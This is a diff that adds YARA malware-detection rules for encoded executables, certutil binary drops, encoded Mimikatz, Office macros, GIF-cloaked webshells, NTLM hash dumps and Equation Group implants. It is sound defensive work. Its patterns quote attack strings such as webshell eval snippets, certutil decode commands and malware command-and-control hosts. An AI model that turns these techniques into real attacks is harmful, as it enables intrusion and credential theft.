+		and not filename matches /(rarnew.dat|\.rar)$/is	// not the .RAR extension
+		and not filepath contains "Recycle" 				// not a deleted RAR file in recycler
+}
+
+rule Base64_encoded_Executable {
+	meta:
+		description = "Detects an base64 encoded executable (often embedded)"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+	strings:
+		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" // 14 samples in goodware archive
+		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" // 26 samples in goodware archive
+		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" // 75 samples in goodware archive
+		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" // 168 samples in goodware archive
+		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" // 28,529 samples in goodware archive
+	condition:
+		1 of them and not filepath contains "Thunderbird"
+}
+
+rule Binary_Drop_Certutil {
+	meta:
+		description = "Drop binary as base64 encoded cert trick"
+		author = "Florian Roth"
+		reference = "https://goo.gl/9DNn8q"
+		date = "2015-07-15"
+		score = 70
+	strings:
+		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
+		$s1 = "echo -----END CERTIFICATE----- >>" ascii
+		$s2 = "certutil -decode " ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule StegoKatz {
+	meta:
+		description = "Encoded Mimikatz in other file types"
+		author = "Florian Roth"
+		reference = "https://goo.gl/jWPBBY"
+		date = "2015-09-11"
+		score = 70
+	strings:
+		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
+		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii
+	condition:
+		filesize < 1000KB and 1 of them
+}
+
+rule Office_AutoOpen_Macro {
+	meta:
+		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+		hash1 = "4d00695d5011427efc33c9722c61ced2"
+		hash2 = "63f6b20cb39630b13c14823874bd3743"
+		hash3 = "66e67c2d84af85a569a04042141164e6"
+		hash4 = "a3035716fe9173703941876c2bde9d98"
+		hash5 = "7c06cab49b9332962625b16f15708345"
+		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
+		hash7 = "25285b8fe2c41bd54079c92c1b761381"
+	strings:
+		$s1 = "AutoOpen" ascii fullword
+		$s2 = "Macros" wide fullword
+	condition:
+		(
+			uint32be(0) == 0xd0cf11e0 or 	// DOC, PPT, XLS
+			uint32be(0) == 0x504b0304		// DOCX, PPTX, XLSX (PKZIP)
+		)
+		and all of ($s*) and filesize < 300000
+}
+
+rule Office_as_MHTML {
+	meta:
+		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
+		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
+		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
+		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
+		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
+	strings:
+		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
+		$s2 = "Content-Type: application/x-mso" ascii fullword
+
+		$x1 = "QWN0aXZlTWltZQA" ascii 	// Base64 encoded 'ActiveMime'
+		$x2 = "0M8R4KGxGuE" ascii 		// Base64 encoded office header D0CF11E0A1B11AE1..
+	condition:
+		uint32be(0) == 0x4d494d45 // "MIME" header
+		and all of ($s*) and 1 of ($x*)
+}
+/*
+
+   Generic Anomalies
+
+   Florian Roth
+   BSK Consulting GmbH
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+rule Embedded_EXE_Cloaking {
+        meta:
+                description = "Detects an embedded executable in a non-executable file"
+                author = "Florian Roth"
+                date = "2015/02/27"
+                score = 65
+        strings:
+                $noex_png = { 89 50 4E 47 }
+                $noex_pdf = { 25 50 44 46 }
+                $noex_rtf = { 7B 5C 72 74 66 31 }
+                $noex_jpg = { FF D8 FF E0 }
+                $noex_gif = { 47 49 46 38 }
+                $mz  = { 4D 5A }
+                $a1 = "This program cannot be run in DOS mode"
+                $a2 = "This program must be run under Win32"
+        condition:
+                (
+                        ( $noex_png at 0 ) or
+                        ( $noex_pdf at 0 ) or
+                        ( $noex_rtf at 0 ) or
+                        ( $noex_jpg at 0 ) or
+                        ( $noex_gif at 0 )
+                )
+                and
+                for any i in (1..#mz): ( @a1 < ( @mz[i] + 200 ) or @a2 < ( @mz[i] + 200 ) )
+}
+
+rule Cloaked_as_JPG {
+        meta:
+                description = "Detects a cloaked file as JPG"
+                author = "Florian Roth (eval section from Didier Stevens)"
+                date = "2015/02/29"
+                score = 40
+        condition:
+                uint16be(0x00) != 0xFFD8 and
+                extension matches /\.jpg/i and
+                filetype != "GIF"
+                /* and
+                not filepath contains "ASP.NET" */
+}
+
+rule GIFCloaked_Webshell {
+    meta:
+        description = "Detects a webshell that cloakes itself with GIF header(s) - Based on Dark Security Team Webshell"
+        author = "Florian Roth"
+        hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+        score = 60
+    strings:
+        $magic = "GIF"
+        $s0 = "input type"
+        $s1 = "<%eval request"
+        $s2 = "<%eval(Request.Item["
+        $s3 = "LANGUAGE='VBScript'"
+    condition:
+        ( $magic at 0 ) and ( 1 of ($s*) )
+}
+
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-12-21
+    Identifier: Uncommon File Sizes
+*/
+
+rule Suspicious_Size_explorer_exe {
+    meta:
+        description = "Detects uncommon file size of explorer.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "explorer.exe"
+        and not filepath contains "teamviewer"
+        and ( filesize < 1000KB or filesize > 3500KB )
+}
+
+rule Suspicious_Size_chrome_exe {
+    meta:
+        description = "Detects uncommon file size of chrome.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "chrome.exe"
+        and ( filesize < 500KB or filesize > 1300KB )
+}
+
+rule Suspicious_Size_csrss_exe {
+    meta:
+        description = "Detects uncommon file size of csrss.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "csrss.exe"
+        and ( filesize > 18KB )
+}
+
+rule Suspicious_Size_iexplore_exe {
+    meta:
+        description = "Detects uncommon file size of iexplore.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "iexplore.exe"
+        and not filepath contains "teamviewer"
+        and ( filesize < 75KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_firefox_exe {
+    meta:
+        description = "Detects uncommon file size of firefox.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "firefox.exe"
+        and ( filesize < 265KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_java_exe {
+    meta:
+        description = "Detects uncommon file size of java.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "java.exe"
+        and ( filesize < 42KB or filesize > 900KB )
+}
+
+rule Suspicious_Size_lsass_exe {
+    meta:
+        description = "Detects uncommon file size of lsass.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "lsass.exe"
+        and ( filesize < 10KB or filesize > 58KB )
+}
+
+rule Suspicious_Size_svchost_exe {
+    meta:
+        description = "Detects uncommon file size of svchost.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "svchost.exe"
+        and ( filesize < 14KB or filesize > 40KB )
+}
+
+rule Suspicious_Size_winlogon_exe {
+    meta:
+        description = "Detects uncommon file size of winlogon.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "winlogon.exe"
+        and ( filesize < 279KB or filesize > 580KB )
+}
+
+rule Suspicious_Size_igfxhk_exe {
+    meta:
+        description = "Detects uncommon file size of igfxhk.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "igfxhk.exe"
+        and ( filesize < 200KB or filesize > 265KB )
+}
+
+rule Suspicious_Size_servicehost_dll {
+    meta:
+        description = "Detects uncommon file size of servicehost.dll"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "servicehost.dll"
+        and filesize > 150KB
+}
+
+rule Suspicious_Size_rundll32_exe {
+    meta:
+        description = "Detects uncommon file size of rundll32.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "rundll32.exe"
+        and ( filesize < 30KB or filesize > 60KB )
+}
+
+rule Suspicious_Size_taskhost_exe {
+    meta:
+        description = "Detects uncommon file size of taskhost.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "taskhost.exe"
+        and ( filesize < 45KB or filesize > 85KB )
+}
+
+rule Suspicious_Size_spoolsv_exe {
+    meta:
+        description = "Detects uncommon file size of spoolsv.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "spoolsv.exe"
+        and ( filesize < 50KB or filesize > 930KB )
+}
+
+rule Suspicious_Size_smss_exe {
+    meta:
+        description = "Detects uncommon file size of smss.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "smss.exe"
+        and ( filesize < 40KB or filesize > 320KB )
+}
+
+rule Suspicious_Size_wininit_exe {
+    meta:
+        description = "Detects uncommon file size of wininit.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "wininit.exe"
+        and ( filesize < 90KB or filesize > 300KB )
+}
+
+rule DarkEYEv3_Cryptor {
+	meta:
+		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
+		author = "Florian Roth"
+		reference = "http://darkeyev3.blogspot.fi/"
+		date = "2015-05-24"
+		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
+		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
+		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
+		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
+		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
+		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
+		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
+		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
+		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
+		score = 55
+	strings:
+		$s0 = "\\DarkEYEV3-" 
+	condition:
+		uint16(0) == 0x5a4d and $s0
+}
+/* Disabled due to Benjamin Delphys sig overlap
+rule LSASS_memory_dump_file {
+	meta:
+		description = "Detects a LSASS memory dump file"
+		author = "Florian Roth"
+		date = "2015/03/31"
+		memory = 0
+		score = 50
+	strings:
+		$s1 = "lsass.exe" ascii fullword
+		$s2 = "wdigest.DLL" wide nocase
+	condition:
+        uint32(0) == 0x504D444D and all of them
+} */
+
+rule NTLM_Dump_Output {
+	meta:
+		description = "NTML Hash Dump output file - John/LC format"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		score = 75
+	strings:
+		$s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
+		$s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii
+	condition:
+		1 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-15
+	Identifier: Exe2hex
+*/
+
+rule Payload_Exe2Hex {
+	meta:
+		description = "Detects payload generated by exe2hex"
+		author = "Florian Roth"
+		reference = "https://github.com/g0tmi1k/exe2hex"
+		date = "2016-01-15"
+		score = 70
+	strings:
+		$a1 = "set /p \"=4d5a" ascii
+		$a2 = "powershell -Command \"$hex=" ascii
+		$b1 = "set+%2Fp+%22%3D4d5" ascii
+		$b2 = "powershell+-Command+%22%24hex" ascii
+		$c1 = "echo 4d 5a " ascii
+		$c2 = "echo r cx >>" ascii
+		$d1 = "echo+4d+5a+" ascii
+		$d2 = "echo+r+cx+%3E%3E" ascii
+	condition:
+		all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
+}
+
+rule LightFTP_fftp_x86_64 {
+	meta:
+		description = "Detects a light FTP server"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
+		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
+		score = 50
+	strings:
+		$s1 = "fftp.cfg" fullword wide
+		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
+		$s3 = "*FTP thread exit*" fullword wide
+		$s4 = "PASS->logon successful" fullword ascii
+		$s5 = "250 Requested file action okay, completed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 4 of them
+}
+
+rule LightFTP_Config {
+	meta:
+		description = "Detects a light FTP server - config file"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash = "ce9821213538d39775af4a48550eefa3908323c5"
+	strings:
+		$s2 = "maxusers=" wide
+		$s6 = "[ftpconfig]" fullword wide
+		$s8 = "accs=readonly" fullword wide
+		$s9 = "[anonymous]" fullword wide
+		$s10 = "accs=" fullword wide
+		$s11 = "pswd=" fullword wide
+	condition:
+		uint16(0) == 0xfeff and filesize < 1KB and all of them
+}/* Equation APT ------------------------------------------------------------ */
+
+rule apt_equation_exploitlib_mutexes {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1="prkMtx" wide
+        $a2="cnFormSyncExFBC" wide
+        $a3="cnFormVoidFBC" wide
+        $a4="cnFormSyncExFBC"
+        $a5="cnFormVoidFBC"
+    condition:
+        (($mz at 0) and any of ($a*))
+}
+
+rule apt_equation_doublefantasy_genericresource {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect DoubleFantasy encoded config http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}
+        $a2="yyyyyyyyyyyyyyyy"
+        $a3="002"
+    condition:
+        (($mz at 0) and all of ($a*)) and filesize < 500000
+}
+
+rule apt_equation_equationlaser_runtimeclasses {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the EquationLaser malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	strings:
+	    $a1="?a73957838_2@@YAXXZ"
+	    $a2="?a84884@@YAXXZ"
+	    $a3="?b823838_9839@@YAXXZ"
+	    $a4="?e747383_94@@YAXXZ"
+	    $a5="?e83834@@YAXXZ"
+	    $a6="?e929348_827@@YAXXZ"
+	condition:
+	    any of them
+}
+
+rule apt_equation_cryptotable {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the crypto library used in Equation group malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	strings:
+	    $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+	condition:
+	    $a
+}
+
+/* Equation Group - Kaspersky ---------------------------------------------- */
+
+rule Equation_Kaspersky_TripleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
+	strings:
+		$mz = { 4d 5a }
+
+		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
+		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
+		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
+		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
+		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
+		$s5 = "Chrome" fullword wide
+		$s6 = "StringIndex" fullword ascii
+
+		$x1 = "itemagic.net@443" fullword wide
+		$x2 = "team4heat.net@443" fullword wide
+		$x5 = "62.216.152.69@443" fullword wide
+		$x6 = "84.233.205.37@443" fullword wide
+
+		$z1 = "www.microsoft.com@80" fullword wide
+		$z2 = "www.google.com@80" fullword wide
+		$z3 = "127.0.0.1:3128" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 300000 and
+		(
+			( all of ($s*) and all of ($z*) ) or
+			( all of ($s*) and 1 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_DoubleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - DoubleFantasy"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
+	strings:
+		$mz = { 4d 5a }
+
+		$z1 = "msvcp5%d.dll" fullword ascii
+
+		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
+		$s3 = "actxprxy.DllGetClassObject" fullword ascii
+		$s5 = "actxprxy.DllRegisterServer" fullword ascii
+		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
+
+		$x1 = "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" ascii
+		$x2 = "191H1a1" fullword ascii
+		$x3 = "November " fullword ascii
+		$x4 = "abababababab" fullword ascii
+		$x5 = "January " fullword ascii
+		$x6 = "October " fullword ascii
+		$x7 = "September " fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 350000 and
+		(
+			( $z1 ) or
+			( all of ($s*) and 6 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_GROK_Keylogger {
+	meta:
+		description = "Equation Group Malware - GROK keylogger"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "c:\\users\\rmgree5\\" ascii
+		$s1 = "msrtdv.sys" fullword wide
+
+		$x1 = "svrg.pdb" fullword ascii
+		$x2 = "W32pServiceTable" fullword ascii
+		$x3 = "In forma" fullword ascii
+		$x4 = "ReleaseF" fullword ascii
+		$x5 = "criptor" fullword ascii
+		$x6 = "astMutex" fullword ascii
+		$x7 = "ARASATAU" fullword ascii
+		$x8 = "R0omp4ar" fullword ascii
+
+		$z1 = "H.text" fullword ascii
+		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword
+	condition:
+		( $mz at 0 ) and filesize < 250000 and
+		(
+			$s0 or
+			( $s1 and 6 of ($x*) ) or
+			( 6 of ($x*) and all of ($z*) )
+		)
+}
+
+rule Equation_Kaspersky_GreyFishInstaller {
+	meta:
+		description = "Equation Group Malware - Grey Fish"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
+	strings:
+		$s0 = "DOGROUND.exe" fullword wide
+		$s1 = "Windows Configuration Services" fullword wide
+		$s2 = "GetMappedFilenameW" fullword ascii
+	condition:
+		all of them
+}
+
+rule Equation_Kaspersky_EquationDrugInstaller {
+	meta:
+		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
+	strings:
+		$mz = { 4d 5a }
+
+		$s0 = "\\system32\\win32k.sys" fullword wide
+		$s1 = "ALL_FIREWALLS" fullword ascii
+
+		$x1 = "@prkMtx" fullword wide
+		$x2 = "STATIC" fullword wide
+		$x3 = "windir" fullword wide
+		$x4 = "cnFormVoidFBC" fullword wide
+		$x5 = "CcnFormSyncExFBC" fullword wide
+		$x6 = "WinStaObj" fullword wide
+		$x7 = "BINRES" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 500000 and all of ($s*) and 5 of ($x*)
+}
+
+rule Equation_Kaspersky_EquationLaserInstaller {
+	meta:
+		description = "Equation Group Malware - EquationLaser Installer"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "Failed to get Windows version" fullword ascii
+		$s1 = "lsasrv32.dll and lsass.exe" fullword wide
+		$s2 = "\\\\%s\\mailslot\\%s" fullword ascii
+		$s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
+		$s4 = "lsasrv32.dll" fullword ascii
+		$s5 = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" fullword ascii
+		$s6 = "%s %02x %s" fullword ascii
+		$s7 = "VIEWERS" fullword ascii
+		$s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 250000 and 6 of ($s*)
+}
+
+rule Equation_Kaspersky_FannyWorm {
+	meta:
+		description = "Equation Group Malware - Fanny Worm"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
+	strings:
+		$mz = { 4d 5a }
+
+		$s1 = "x:\\fanny.bmp" fullword ascii
+		$s2 = "32.exe" fullword ascii
+		$s3 = "d:\\fanny.bmp" fullword ascii
+
+		$x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
+		$x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
+		$x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
+		$x4 = "\\system32\\win32k.sys" fullword wide
+		$x5 = "\\AGENTCPD.DLL" fullword ascii
+		$x6 = "agentcpd.dll" fullword ascii
+		$x7 = "PADupdate.exe" fullword ascii
+		$x8 = "dll_installer.dll" fullword ascii
+		$x9 = "\\restore\\" fullword ascii
+		$x10 = "Q:\\__?__.lnk" fullword ascii
+		$x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
+		$x12 = "\\shelldoc.dll" fullword ascii
+		$x13 = "file size = %d bytes" fullword ascii
+		$x14 = "\\MSAgent" fullword ascii
+		$x15 = "Global\\RPCMutex" fullword ascii
+		$x16 = "Global\\DirectMarketing" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 300000 and
+		(
+			( 2 of ($s*) ) or
+			( 1 of ($s*) and 6 of ($x*) ) or
+			( 14 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_HDD_reprogramming_module {
+	meta:
+		description = "Equation Group Malware - HDD reprogramming module"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "nls_933w.dll" fullword ascii
+
+		$s1 = "BINARY" fullword wide
+		$s2 = "KfAcquireSpinLock" fullword ascii
+		$s3 = "HAL.dll" fullword ascii
+		$s4 = "READ_REGISTER_UCHAR" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 300000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_EOP_Package {
+	meta:
+		description = "Equation Group Malware - EoP package and malware launcher"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "abababababab" fullword ascii
+		$s1 = "abcdefghijklmnopq" fullword ascii
+		$s2 = "@STATIC" fullword wide
+		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
+		$s4 = "@prkMtx" fullword wide
+		$s5 = "prkMtx" fullword wide
+		$s6 = "cnFormVoidFBC" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 100000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_TripleFantasy_Loader {
+	meta:
+		description = "Equation Group Malware - TripleFantasy Loader"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
+	strings:
+		$mz = { 4d 5a }
+
+		$x1 = "Original Innovations, LLC" fullword wide
+		$x2 = "Moniter Resource Protocol" fullword wide
+		$x3 = "ahlhcib.dll" fullword wide
+
+		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
+		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
+		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
+		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
+		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
+		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 50000 and ( all of ($x*) and all of ($s*) )
+}
+
+/* Rule generated from the mentioned keywords */
+
+rule Equation_Kaspersky_SuspiciousString {
+	meta:
+		description = "Equation Group Malware - suspicious string found in sample"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/17"
+		score = 60
+	strings:
+		$mz = { 4d 5a }
+
+		$s1 = "i386\\DesertWinterDriver.pdb" fullword
+		$s2 = "Performing UR-specific post-install..."
+		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
+		$s4 = "STRAITSHOOTER30.exe"
+		$s5 = "standalonegrok_2.1.1.1"
+		$s6 = "c:\\users\\rmgree5\\"
+	condition:
+		( $mz at 0 ) and filesize < 500000 and all of ($s*)
+}
+
+/* EquationDrug Update 11.03.2015 - http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/ */
+
+rule EquationDrug_NetworkSniffer1 {
+	meta:
+		description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s3 = "sys\\mstcp32.dbg" fullword ascii
+		$s7 = "mstcp32.sys" fullword wide
+		$s8 = "p32.sys" fullword ascii
+		$s9 = "\\Device\\%ws_%ws" fullword wide
+		$s10 = "\\DosDevices\\%ws" fullword wide
+		$s11 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
